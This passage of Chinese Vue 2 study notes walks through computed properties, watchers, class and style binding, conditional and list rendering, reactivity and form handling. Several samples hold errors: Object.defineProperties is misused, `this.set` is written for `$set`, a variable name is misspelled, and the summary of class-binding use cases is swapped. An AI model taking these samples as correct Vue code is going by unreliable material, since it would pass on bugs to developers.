姓:<input type="text" v-model:value="firstName">
<br>
名:<input type="text" v-model:value="lastName">
<br>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
// 属性
firstName: '张',
lastName: '三',
fullName:'张-三'
},
watch:{
// 由于oldValue没有用到所以不写
firstName(newValue){
this.fullName=newValue+'-'+this.lastName
},
lastName(newValue){
this.fullName=this.firstName+'-'+newValue
}
}
})
</script>
</html>
7.2 姓名案例——计算属性实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>姓名案例——计算属性实现</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
姓:<input type="text" v-model:value="firstName">
<br>
名:<input type="text" v-model:value="lastName">
<br>
<!-- 计算属性有缓存机制:所以此时fullName就调用一次 -->
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm=new Vue({
el:'#root',
data: {
// 属性
firstName:'张',
lastName:'三'
},
// vm._data中没有fullName
// 计算属性,对象的形式
// 计算属性直接丢给vm,不给data
computed: {
// 上面使用了5次fullName,此时fullName调用了5次
fullName:{
get(){//读取属性
console.log('get被调用');
// 此时this-->指向vm
return this.firstName+'_'+this.lastName
},
// set不是必须写的
// set什么时候调用?当fullName被修改的时候
set(value){//修改属性
console.log('set',value);
const arr=value.split('-')
this.firstName=arr[0]
this.lastName=arr[1]
}
}
},
})
</script>
</html>
7.3 图示
7.4 区别
watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
7.5 watch完整版本
7.6 总结
computed和watch之间的区别:
1.computed能完成的功能,watch都可以完成
2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
两个重要的小原则:
1.所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象
2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数(在当前的函数中找不到vm,则向上查找),这样this的指向才是vm 或 组件实例对象。
11.class与style的绑定【样式绑定】
1.绑定class样式【:class=" "】
(1)字符串写法
适用于:样式的类名不确定,需要动态指定
<body>
<div id="root">
<!-- 当点击名字的时候添加一个basic happy的样式 -->
<!-- 绑定class样式-----字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'小林',
mood:'normal',
},
methods: {
changeMood(){
const arr=['happy','sad','normal']
// random产生的随机数0<=x<1(不包括1)
// Math.random()*3--接收到[0,2)
const index=Math.floor(Math.random()*3)
this.mood=arr[index]
}
},
})
</script>
</body>
(2)数组写法
适用于:要绑定的样式个数不确定,名字也不确定
<body>
<div id="root">
<!-- 绑定class样式-----数组写法,适用于:要绑定的样式个数不确定,名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小林',
classArr: ['atguigu1', 'atguigu2', 'atguigu3']
}
})
</script>
</body>
(3)对象写法
适用于:要绑定的样式个数确定,名字也确定,但是要动态决定用不用
<body>
<div id="root">
<!-- 绑定class样式-----对象写法,适用于:要绑定的样式个数确定,名字也确定,但是要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小林',
classObj:{
atguigu1:false,
atguigu2:false
}
}
</script>
</body>
class样式:
写法:class="xxx",xxx可以是字符串、对象、数组
字符串写法适用于:类名不确定,要动态获取
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
2.绑定style样式
(1)对象写法
<body>
<div id="root">
<div class="basic" :style="styleObj">{{name}}</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小林',
styleObj:{
// 驼峰命名法
fontSize:'40px',
color:'red',
backgroundColor:'orange'
}
},
})
</script>
</body>
(2)数组写法
<body>
<div id="root">
<!-- 绑定style样式---对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div>
<!-- 绑定style样式---数组写法 -->
<!-- 同时应用styleObj,styleObj2 -->
<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小林',
styleObj:{
// 驼峰命名法
fontSize:'40px',
color:'red',
},
styleObj2:{
backgroundColor:'orange'
}
},
})
</script>
</body>
style样式:
:style="{fontSize: xxx}"其中xxx是动态值
:style="[a,b]"其中a、b是样式对象
12.条件渲染
1.v-show
适用于:切换频率较高的场景
使用v-show实际上是使用了display:none
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
高频率使用就使用:v-show
<body>
<div id="root">
<!-- 使用v-show做条件渲染 -->
<!-- 使用v-show实际上是使用了display:none -->
<!-- 高频率使用就使用:v-show-->
<h2 v-show="false">欢迎来到{{name}}</h2>
<h2 v-show="1===1">欢迎来到{{name}}</h2>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小林',
},
})
</script>
</body>
2.v-if:是将整个元素删除了,效率低
<body>
<div id="root">
<!-- 使用v-if做条件渲染 -->
<h2 v-if="1===1">欢迎来到{{name}}</h2>
<h2 v-if="false">欢迎来到{{name}}</h2>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小林',
},
})
</script>
</body>
3.v-else-if与v-else
<body>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- v-else-if与v-else -->
<div v-if="n===1">Angular</div>
<div v-else-if="n===2">Angular</div>
<div v-else-if="n===3">Vue</div>
<!-- 后面一般不加上v-else,因为当不满足上面的等式,则直接渲染v-else中的东西 -->
<div v-else="n===4">hh</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小林',
n:0
},
})
</script>
</body>
写法:
(1)v-if="表达式"
(2)v-else-if="表达式"
(3)v-else
适用于:切换频率较低的场景
特点:不展示的DOM元素直接被移除
注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被打断
v-if与template的配合使用:template只能和v-if一起使用,不能跟v-show
<!-- v-if与template的配合使用 --> <template v-if="n===1"> <h2>您好</h2> <h2>无论</h2> <h2>更多</h2> </template>
4.注意点:
使用v-if的时候,元素可能无法获取到,而使用v-show一定可以获取到
13.列表渲染
1.v-for
(1)v-for的循环机制
<body>
<div id="root">
<h2>人员列表</h2>
<ul>
<!-- p表示persons中的每一个数据 -->
<!-- 如果使用v-for则一定要用key -->
<li v-for="p in persons" :key="p.id">
{{p.name}}--{{p.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
persons:[
{id:'001',name:'张三',age:19},
{id:'002',name:'李四',age:12},
{id:'003',name:'王五',age:13}
]
},
})
</script>
(2)接收到2个参数(每一个参数值,索引值)【顺序不能改变】
<body>
<div id="root">
<h2>人员列表</h2>
<ul>
<!-- v-for循环的时候接收2个参数 -->
<!-- 第一个参数:接收到数组中每一个数值 -->
<!-- 第二个参数:是index索引值 -->
<li v-for="(p,index) in persons" :key="index">
{{p}}---{{index}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
persons:[
{id:'001',name:'张三',age:19},
{id:'002',name:'李四',age:12},
{id:'003',name:'王五',age:13}
]
},
})
</script>
(3)可以将of替代in
<body>
<div id="root">
<h2>人员列表</h2>
<h1>遍历数组</h1>
<ul>
<!-- 可以将in改为of -->
<li v-for="(p,index) of persons" :key="index">
{{p}}---{{inedx}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
persons:[
{id:'001',name:'张三',age:19},
{id:'002',name:'李四',age:12},
{id:'003',name:'王五',age:13}
]
},
})
</script>
(4)遍历数组
<body>
<div id="root">
<h2>人员列表</h2>
<ul>
<!-- p表示persons中的每一个数据 -->
<!-- 如果使用v-for则一定要用key -->
<li v-for="p in persons" :key="p.id">
{{p.name}}--{{p.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
persons:[
{id:'001',name:'张三',age:19},
{id:'002',name:'李四',age:12},
{id:'003',name:'王五',age:13}
]
},
})
</script>
(5)遍历对象
<body>
<div id="root">
<h2>人员列表</h2>
<h1>遍历对象</h1>
<h1>遍历对象</h1>
<ul>
<li v-for="(value,k) in car" :key="k">
{{value}}---{{k}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
car:{
name:'奔驰',
price:90
}
},
})
</script>
(6)遍历字符串
<body>
<div id="root">
<h2>人员列表</h2>
<h1>遍历数组</h1>
<ul>
<h1>遍历字符串</h1>
<ul>
<li v-for="(char,k) in str" :key="k">
{{char}}---{{k}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
str:'hello'
},
})
</script>
(8)遍历指定次数
<body>
<div id="root">
<h2>人员列表</h2>
<h1>遍历数组</h1>
<ul>
<h1>遍历指定次数</h1>
<ul>
<li v-for="(number,index) in 5" :key="index">
{{number}}---{{index}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
persons:[
{id:'001',name:'张三',age:19},
{id:'002',name:'李四',age:12},
{id:'003',name:'王五',age:13}
],
car:{
name:'奔驰',
price:90
},
str:'hello'
},
})
</script>
(9)总结
v-for指令:
1.用于展示列表数据
2.语法:<li v-for="(item, index) in xxx" :key="yyy">,其中key可以是index,也可以是遍历对象的唯一标识
3.可遍历:数组、对象、字符串(用的少)、指定次数(用的少)
2.key的原理
(1) 当我们写上key的时候,是不可以使用的key这个属性的
(2)浏览器上的key属性名
(3)遍历列表时key的作用(index作为key)
(4)遍历列表时key的作用(id作为key)
(5)总结
面试题:react、vue中的key有什么作用?(key的内部原理)
1.虚拟DOM中key的作用:key是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
(1)旧虚拟DOM中找到了与新虚拟DOM相同的key:
a.若虚拟DOM中内容没变, 直接使用之前的真实DOM
b.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM
(2)旧虚拟DOM中未找到与新虚拟DOM相同的key:
创建新的真实DOM,随后渲染到到页面
3.用index作为key可能会引发的问题:
(1).若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低
(2)若结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题
4.开发中如何选择key?
(1)最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
(2)如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的
3.列表过滤
(1)通过watch实现(过滤器:filter)
computed能实现的,watch都能实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>列表过滤</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<!-- persons一变就重新解析模板,整个列表就发生变化了 -->
<!-- 收集用户输入:给输入框绑定双向数据绑定 -->
<input type="text" placeholder="请输入名字" v-model="keyWord">
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}--{{p.age}}---{{p.sex}}
</li>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 21, sex: '女' },
{ id: '003', name: '周杰伦', age: 11, sex: '男' },
{ id: '004', name: '温兆伦', age: 13, sex: '男' }
],
// 是过滤器过滤出来的新数据
// 如果不使用这个,则数据会越搜索越少
filPersons: []
},
watch: {
// 因为我们不关心上一个数据,所以不传入oldValue
keyWord: {
// 这里为什么要使用immediate,因为要页面一上来就直接刷新
// 一刷新发现newValue为空字符串,所以indexOf为0,所以直接将所有数据进行展示【'abc'.indexOf('')===0|||'abc'.indexOf('a')===0】
immediate:true,
handler(newValue) {
// console.log('kwyWord被改变',newValue);
// filter:过滤器【过滤掉不想要的东西,返回的是全新的数组】
this.filPersons = this.persons.filter((p) => {
// return 返回的是要的内容
// indexOf--如果返回-1,则表示不包含,如果返回值不为-1,则表示找到并返回索引值,如果返回值为0,则表示包含空字符串
return p.name.indexOf(newValue) !== -1
})
}
}
}
})
</script>
</html>
(2)通过计算属性
<body>
<div id="root">
<h2>人员列表</h2>
<!-- persons一变就重新解析模板,整个列表就发生变化了 -->
<!-- 收集用户输入:给输入框绑定双向数据绑定 -->
<input type="text" placeholder="请输入名字" v-model="keyWord">
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}--{{p.age}}---{{p.sex}}
</li>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 21, sex: '女' },
{ id: '003', name: '周杰伦', age: 11, sex: '男' },
{ id: '004', name: '温兆伦', age: 13, sex: '男' }
]
},
computed:{
// 默认只有get
filPersons(){
return this.persons.filter((p)=>{
// keyWord怎么变我不用去监视
return p.name.indexOf(this.keyWord)!==-1
})
}
}
})
</script>
4.列表排序
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>列表排序</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<!-- persons一变就重新解析模板,整个列表就发生变化了 -->
<!-- 收集用户输入:给输入框绑定双向数据绑定 -->
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType=2">年龄升序</button>
<button @click="sortType=1">年龄降序</button>
<button @click="sortType=0">原顺序</button>
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}--{{p.age}}---{{p.sex}}
</li>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
// 获取用户输入的名字
keyWord: '',
//0代表原顺序,1降序,2升序
sortType:0,
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 21, sex: '女' },
{ id: '003', name: '周杰伦', age: 11, sex: '男' },
{ id: '004', name: '温兆伦', age: 13, sex: '男' }
]
},
// 计算属性
computed:{//计算属性最终的结果都是return出来的
// 默认只有get
filPersons(){
//先将搜索结果保存起来,才可以进行后续的排序,如果直接返回出去就无法操作搜索结果
const arr=this.persons.filter((p)=>{
// keyWord怎么变我不用去监视
return p.name.indexOf(this.keyWord)!==-1
})
// 判断一下是否要排序
if(this.sortType){
// 记得排序的是过滤后的结果(arr)
arr.sort((p1,p2)=>{
// 判断此时是1还是2
return this.sortType===1?p2.age-p1.age :p1.age-p2.age
})
}
// 记得返回
return arr
}
}
})
/*sort改变数组
let arr=[1,2,4,5,6]
arr.sort((a,b)=>{
// a-b:表示升序
// b-a:表示降序
return a-b
})
console.log(arr);
*/
</script>
</html>
14.数据检测
1.更新时的一个问题
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- v-for指令:
1.用于展示列表数据
2.语法:<li v-for="(item, index) in xxx" :key="yyy">,其中key可以是index,也可以是遍历对象的唯一标识
3.可遍历:数组、对象、字符串(用的少)、指定次数(用的少) -->
<div id="root">
<h2>人员列表</h2>
<button @click="updateMei">点击更新马冬梅的信息</button>
<ul>
<li v-for="p in persons" :key="p.id">
{{p.name}}--{{p.age}}
</li>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 21, sex: '女' },
{ id: '003', name: '周杰伦', age: 11, sex: '男' },
{ id: '004', name: '温兆伦', age: 13, sex: '男' }
]
},
methods: {
updateMei(){
// 修改后Vue页面更新了
// this.persons[0].age=10
// this.persons[0].name='马老师'
// Vue页面并没有更新
this.persons[0]={ id: '001', name: '马老师', age: 10, sex: '女' }
}
},
})
</script>
</html>
2.检测数据的原理---对象
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/javascript">
let data={
name:'小林学校',
address:'广东省'
}
// 创建一个监视的实例对象
const obs=new Observer(data)
// 创建一个vm实例对象
let vm={}
vm._data=data=obs
function Observer(obj){
// 汇总对象中所有的属性形成一个数组
const keys=Object.keys(obj)
// 遍历
keys.forEach((k)=>{
Object.defineProperties(this,k,{
get(){
return obj[k]
},
set(value){
console.log(`${k}被改了,我要去解析模板了`);
obj[k]=value
}
})
})
}
// 使用下面这个方法会出现栈溢出
/*
Object.defineProperties(data,'name',{
get(){
return data.name
},
set(val){
data.name=val
}
})
*/
</script>
</body>
</html>
3.Vue.set/vm.$set(要添加到的地方,要添加的属性名,添加的属性值)方法【vm._data.student===vm.stduent】
注意点:set中的target(第一个参数)中不允许出现vm或者vm.data。
(1)直接将属性加上
(2)使用Vue.set()
<!-- 表示当student.sex===true的时候展示 -->
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<script type="text/javascript">
const vm=new Vue({
el: '#root',
data: {
name:'小林学校',
address:'广东省' ,
student:{
name:'tom',
age:{
rAge:19,
sAge:20,
},
friends:[
{name:'Tom',age:34},
{name:'Jerry',age:33}
]
}
},
methods: {
addSex(){
Vue.set(this.student,'sex','男')
}
},
})
</script>
(3)使用vm.$set()
<!-- 表示当student.sex===true的时候展示 -->
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<script type="text/javascript">
const vm=new Vue({
el: '#root',
data: {
name:'小林学校',
address:'广东省' ,
student:{
name:'tom',
age:{
rAge:19,
sAge:20,
},
friends:[
{name:'Tom',age:34},
{name:'Jerry',age:33}
]
}
},
methods: {
addSex(){
// Vue.set(this.student,'sex','男')
this.set(this.student,'sex','男')
}
},
})
</script>
(4)注意点
注意点:set中的target(第一个参数)中不允许出现vm或者vm.data。
vm.$set(vm._data.student,'sex','男')等价于vm.$set(vm.student,'sex','男')
解决方法:只能在data中创建一个对象,把要的数据放进去
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>学校信息</h1>
<h2>学校名称:{{school.name}}</h2>
<h2>学校地址:{{school.address}}</h2>
<!-- leader是查看data中是否包含leader这个属性 -->
<h2>小张是:{{school.leader}}</h2>
<!-- 注意点:在Vue中如果a不存在,则访问a则报错 -->
<!-- 如果a存在,b不存在,则a.b不报错 -->
<hr>
<h1>学生信息</h1>
<button @click="addSex">添加一个性别属性,默认值为男</button>
<h2>学生姓名:{{student.name}}</h2>
<hr>
<h2>学生真实年龄:{{student.age.rAge}}</h2>
<hr>
<h2>学生对外年龄:{{student.age.sAge}}</h2>
<hr>
<!-- 表示当student.sex===true的时候展示 -->
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>朋友们</h2>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
school: {
name: '小林学校',
address: '广东省',
},
student: {
name: 'tom',
age: {
rAge: 19,
sAge: 20,
},
friends: [
{ name: 'Tom', age: 34 },
{ name: 'Jerry', age: 33 }
]
},
},
methods: {
addSex() {
// Vue.set(this.student,'sex','男')
this.$set(this.student, 'sex', '男')
}
},
})
</script>
</html>
(5)总结
4.检测数据的原理---数组
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>学校信息</h1>
<h2>学校名称:{{school.name}}</h2>
<h2>学校地址:{{school.address}}</h2>
<!-- leader是查看data中是否包含leader这个属性 -->
<h2>小张是:{{school.leader}}</h2>
<!-- 注意点:在Vue中如果a不存在,则访问a则报错 -->
<!-- 如果a存在,b不存在,则a.b不报错 -->
<hr>
<h1>学生信息</h1>
<button @click="addSex">添加一个性别属性,默认值为男</button>
<h2>学生姓名:{{student.name}}</h2>
<hr>
<h2>学生真实年龄:{{student.age.rAge}}</h2>
<hr>
<h2>学生对外年龄:{{student.age.sAge}}</h2>
<hr>
<h2>爱好</h2>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<!-- 表示当student.sex===true的时候展示 -->
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>朋友们</h2>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
school: {
name: '小林学校',
address: '广东省',
},
student: {
name: 'tom',
age: {
rAge: 19,
sAge: 20,
},
hobby:['抽烟','喝酒','烫头'],
friends: [
{ name: 'Tom', age: 34 },
{ name: 'Jerry', age: 33 }
]
},
},
methods: {
addSex() {
// Vue.set(this.student,'sex','男')
this.$set(this.student, 'sex', '男')
}
},
})
</script>
</html>
官网:
(1) 修改数组中的数据方法一:使用Vue提供的方法进行操作
(2) 修改数组中的数据方法二:使用Vue.set() /vm.$set()
5.总结
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Vue数据监视</title>
<style>
button{
margin-top: 10px;
}
</style>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 总结:
Vue监视数据的原理:
1.vue会监视data中所有层次的数据
2.如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据
(1)对象中后追加的属性,Vue默认不做响应式处理
(2)如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value)
vm.$set(target,propertyName/index,value)
3. 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1)调用原生对应的方法对数组进行更新
(2)重新解析模板,进而更新页面
4.在Vue修改数组中的某个元素一定要用如下方法:
(1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
(2)Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性 -->
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button><br/>
<button @click="addSex">添加性别属性,默认值:男</button> <br/>
<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button><br/>
<button @click="addHobby">添加一个爱好</button> <br/>
<button @click="updateHobby">修改第一个爱好为:开车</button><br/>
<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<!-- 添加:v-if="student.sex"--是当不设置性别的时候,不出现性别1这个对话 -->
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
student:{
name:'tom',
age:18,
hobby:['抽烟','喝酒','烫头'],
friends:[
{name:'jerry',age:35},
{name:'tony',age:36}
]
}
},
methods: {
addSex(){
// vm._data.student===this.student
//Vue.set(this.student,'sex','男')
this.$set(this.student,'sex','男')
},
// 在首位添加
addFriend(){
// friends中的是对象
// 使用Array中的API
//响应式,因为有set和get方法
this.student.friends.unshift({name:'jack',age:70})
},
updateFirstFriendName(){
// this.student.friends[0]=13//可以进行修改,但是Vue不承认
// this.student.friends[0].name--是对象,所以有get和set
this.student.friends[0].name = '张三'
},
addHobby(){
this.student.hobby.push('学习')
},
updateHobby(){
// 报错,因为操作了数组
// this.student.hobby[0]='开车'
// 方式一:
this.student.hobby.splice(0,1,'开车')
// 方式二:
// this.set(this.student.hobby,0,'开车')
// 方式三:
// this.$set(this.student.hobby,0,'开车')
},
removeSmoke(){
//将新的数组代替原来的数组
this.student.hobby = this.student.hobby.filter((h)=>{
return h !== '抽烟'
})
}
}
})
</script>
</html>
Vue监视数据的原理:
1.vue会监视data中所有层次的数据
2.如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据
(1)对象中后追加的属性,Vue默认不做响应式处理
(2)如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value)
vm.$set(target,propertyName/index,value)
3. 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1)调用原生对应的方法对数组进行更新【push等】
(2)重新解析模板,进而更新页面
4.在Vue修改数组中的某个元素一定要用如下方法:
(1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
(2)Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性
15.收集表单数据
1.type="checkbox"【多选框】
(1)v-model收集的是value值,当需要获取用户输入的value值的时候
<!-- 因为这里需要获取value值 -->
学习<input type="checkbox" v-model="hobby" value="study">
打游戏<input type="checkbox" v-model="hobby" value="game">
吃饭<input type="checkbox" v-model="hobby" value="eat">
<br/><br/>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
// 注意:hobby是一个多选项,所以hobby初始值是数组
hobby:[],
},
})
</script>
(2)当只需要知道为false还是true的时候
<!-- 这里不需要获取value,只需要知道是true还是false -->
<input type="checkbox" v-model="agree">阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
agree:''
},
})
</script>
注意点:
如果是多选框,则要注意一下几点:
(1)要给每一个input框添加一个value值
(2)要将v-model绑定的值设置为数组
2.阻止按钮的默认提交行为
(1)给按钮添加点击事件,并且使用阻止默认行为
<button @click="submit">提交</button>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
},
methods: {
submit(e){
e.preventDefault();
}
},
})
</script>
(2)给表单添加一个submit的点击事件
3.要在控制台输出用户输入的全部信息
(1)直接将_data输出
(2)在dta中将用户输入的信息封装成一个对象,然后直接输出对象即可
3.用户输入类型的控制(type="number" v-model.number="game")
<!-- type="number":用于控制文本框中只能输入number -->
<!-- v-model.number="userInfo.age":使得收集到为number -->
<!-- 上面两个同时使用 -->
年龄:<input type="number" v-model.number="userInfo.age"><br><br>
4.延迟收集(v-model.lazy="userInfo.other")
5.去除前后的空格(v-model.trim="userInfo.account")
6.总结
16.过滤器
过滤器可以对前面你写的数据进行按照某种形式加工处理
1.引入day.js
将其下载下来
<script type="text/javascript" src="./dayjs.min.js"></script>
2.使用计算属性格式化时间
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<script type="text/javascript" src="./js/vue.js"></script>
<script type="text/javascript" src="./dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 使用计算属性格式化时间 -->
<h3>现在是:{{fmtTime}}</h3>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
time:1677890911030 //时间戳
},
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
})
</script>
</html>
3.提供methods实现格式化时间
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<script type="text/javascript" src="./js/vue.js"></script>
<script type="text/javascript" src="./dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- methods实现格式化时间 -->
<!-- 因为是方法,所以记得小括号 -->
<h3>现在是:{{getFmtTime()}}</h3>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
time:1677890911030 //时间戳
},
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
})
</script>
</html>
4.提供过滤器实现格式化时间
(1)带参数的过滤器
<!-- 过滤器实现 -->
<!-- 不带参数的 -->
<h3>现在是:{{time | timeformater}}</h3>
<!-- 带参数的 -->
<h3>现在是:{{time | timeformater('YYYY-MM-DD')}}</h3>
filters:{
// 过滤器的本质是一个函数
// 这里写str的初始值是为了以防timeformater没有传入参数的
timeformater(value,str='YYYY-MM-DD'){
// 这个value指的是time
console.log('@',value);
// return 'hello'
